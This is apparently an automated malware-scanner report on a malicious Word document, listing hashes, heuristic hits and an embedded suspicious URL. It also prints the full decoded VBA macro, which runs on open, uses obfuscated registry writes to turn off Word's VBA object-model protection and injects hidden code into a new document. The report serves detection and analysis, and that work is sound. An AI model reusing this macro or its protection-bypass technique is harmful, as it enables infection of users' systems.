Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 beaae2066b782e86…

MALICIOUS

Office (OOXML)

168.9 KB Created: 2021-04-28 05:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 27de0ecf8504b289e8b898a118b408a7 SHA-1: 9f1b9bbe67f3edda81684993dee0237db4d5f2af SHA-256: beaae2066b782e86a77d27e4ee75bcfeef1dcc3d22f627cf6ea4cbf6b53c2925
130 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    classText.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString localListLeft
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set pointerFunc = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://palmer2012-taxi.com/bijol/26816/K8dpV4zCTN/laka14?user=2q41lrXslk1ymzkye&q=jrAo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2943 bytes
SHA-256: dece947c3c5f0c3a2864788ccb871cd24d1005a1bd0e2bbefb215802884533c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{0D92CCFC-2BB3-43F2-A73D-0B64E175D24D}{BEC889AE-4EFE-4FC4-BA76-099657F0A038}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "genericPtrLocal"
Sub autoopen()
bufLocal
Dim captionDeleteProc As String
captionDeleteProc = pasteReferenceMain
lenValue captionDeleteProc
End Sub

Attribute VB_Name = "localWRemove"
Function borderPasteClass(responseMain As String) As Variant
Dim pointerFunc As Object
Dim rightMemList As Object
Set pointerFunc = CreateObject("msxml2.domdocument")
Set rightMemList = pointerFunc.createElement("code")
rightMemList.DataType = "bin.base64"
rightMemList.Text = responseMain
borderPasteClass = rightMemList.nodeTypedValue
End Function
Function bufferRefPointer(dataCount, iteratorDatabase)
bufferRefPointer = StrConv(dataCount, iteratorDatabase)
End Function

Attribute VB_Name = "repoNextCounter"
Sub lenValue(localListLeft As String)
Set procedureRequestGlobal = CreateObject("word.application")
Set classText = procedureRequestGlobal.Documents.Add
classText.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString localListLeft
procedureRequestGlobal.Visible = False
procedureRequestGlobal.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "tempButtonMem"
Function linkDocument() As String
linkDocument = Application.Version
End Function
Function listboxConvertStorage()
listboxConvertStorage = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function rightWLoad()
rightWLoad = "cript.sh"
End Function
Function removeException()
removeException = "VjdXJpdHlcQWN"
End Function
Sub bufLocal()
textboxMain = bufferRefPointer(borderPasteClass("SEtFWV9DVVJSR" & listboxConvertStorage & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
procIteratorSwap = linkDocument
dataMemory = bufferRefPointer(borderPasteClass("XFdvcmRcU2" & removeException & "jZXNzVkJPTQ=="), vbUnicode)
repoException = textboxMain & procIteratorSwap & dataMemory
With CreateObject("ws" & rightWLoad & "ell")
.RegWrite repoException, 1, "REG_DWORD"
End With
End Sub
Public Function memLocalVariable(ByVal buttonNextArray As String) As String
For lenTextbox = 1 To Len(buttonNextArray) Step 2
ptrSelect = Chr$(Val("&H" & Mid$(buttonNextArray, lenTextbox, 2)))
requestRefConvert = requestRefConvert & ptrSelect
Next lenTextbox
memLocalVariable = requestRefConvert
End Function
Function pasteReferenceMain()
pasteReferenceMain = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 0edd79185aad9242740132ccf1848a12c40ca469a92c341293e5242e3078256e